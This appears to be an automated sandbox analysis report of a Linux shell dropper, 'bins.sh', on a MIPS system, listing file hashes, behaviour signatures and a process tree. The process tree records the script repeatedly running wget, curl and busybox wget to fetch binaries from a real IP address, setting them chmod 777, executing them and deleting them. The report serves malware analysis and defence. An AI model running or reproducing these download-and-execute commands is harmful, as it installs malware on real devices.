Analysis

  • max time kernel
    123s
  • max time network
    157s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 15:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0e17ad464af64a931d90034b6bf2533d

  • SHA1

    fa3ac94af8804b2721185d6d797d2684d71db640

  • SHA256

    e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435

  • SHA512

    73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749

  • SSDEEP

    192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            ./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Writes file to tmp directory
              PID:744
            • /bin/chmod
              chmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              ./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
              • Executes dropped EXE
              PID:746
            • /bin/rm
              rm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy
              2⤵
                PID:748
              • /usr/bin/wget
                wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Writes file to tmp directory
                PID:749
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:750
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Writes file to tmp directory
                PID:761
              • /bin/chmod
                chmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • File and Directory Permissions Modification
                PID:764
              • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                ./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                • Executes dropped EXE
                PID:766
              • /bin/rm
                rm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv
                2⤵
                  PID:769
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                  • Writes file to tmp directory
                  PID:770
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:779
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod 777 u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                  • File and Directory Permissions Modification
                  PID:794
                • /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  ./u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                  • Executes dropped EXE
                  PID:796
                • /bin/rm
                  rm u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                    • Writes file to tmp directory
                    PID:801
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/chmod
                    chmod 777 gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                    • File and Directory Permissions Modification
                    PID:811
                  • /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    ./gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                    • Executes dropped EXE
                    PID:812
                  • /bin/rm
                    rm gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA
                    2⤵
                      PID:814
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:816
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                      • Writes file to tmp directory
                      PID:818
                    • /bin/chmod
                      chmod 777 JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                      • File and Directory Permissions Modification
                      PID:819
                    • /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      ./JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                      • Executes dropped EXE
                      PID:820
                    • /bin/rm
                      rm JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1
                      2⤵
                        PID:822
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:824
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                        • Writes file to tmp directory
                        PID:825
                      • /bin/chmod
                        chmod 777 Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                        • File and Directory Permissions Modification
                        PID:829
                      • /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        ./Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                        • Executes dropped EXE
                        PID:830
                      • /bin/rm
                        rm Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5
                        2⤵
                          PID:833
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/DSx8boEPgM1O5LUJSHzQVWFCpZgCWhzTAM
                          2⤵
                          • Writes file to tmp directory
                          PID:834

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/DSx8boEPgM1O5LUJSHzQVWFCpZgCWhzTAM

                        Filesize

                        16KB

                        MD5

                        a02766cd05a26705931fc11e52bf4557

                        SHA1

                        20b3188ca18cf6c38c8ddbc96689a719a561a120

                        SHA256

                        f9eec34066c2f74be0f03ced6d17aaeb0cefc8322a2f019ddfee33113e8bb4b5

                        SHA512

                        ea6c3cd6aaf32a63899261d503bf8512419fd5b865ca02db644758262f34f1df561b8d95fe5030faa62389b771e2a340eda2dec53efa74488a5af2d1206d22a0

                      • /tmp/JieywQe0nYsBJBbvuW7JyfzeQwEUYoFTC1

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/Kxs1Gl7DesJqjMKU1GWNd9EZdaybJy97v5

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/gLVzcHCyXJDpQzJttqY2KthXSbpcygMvTA

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925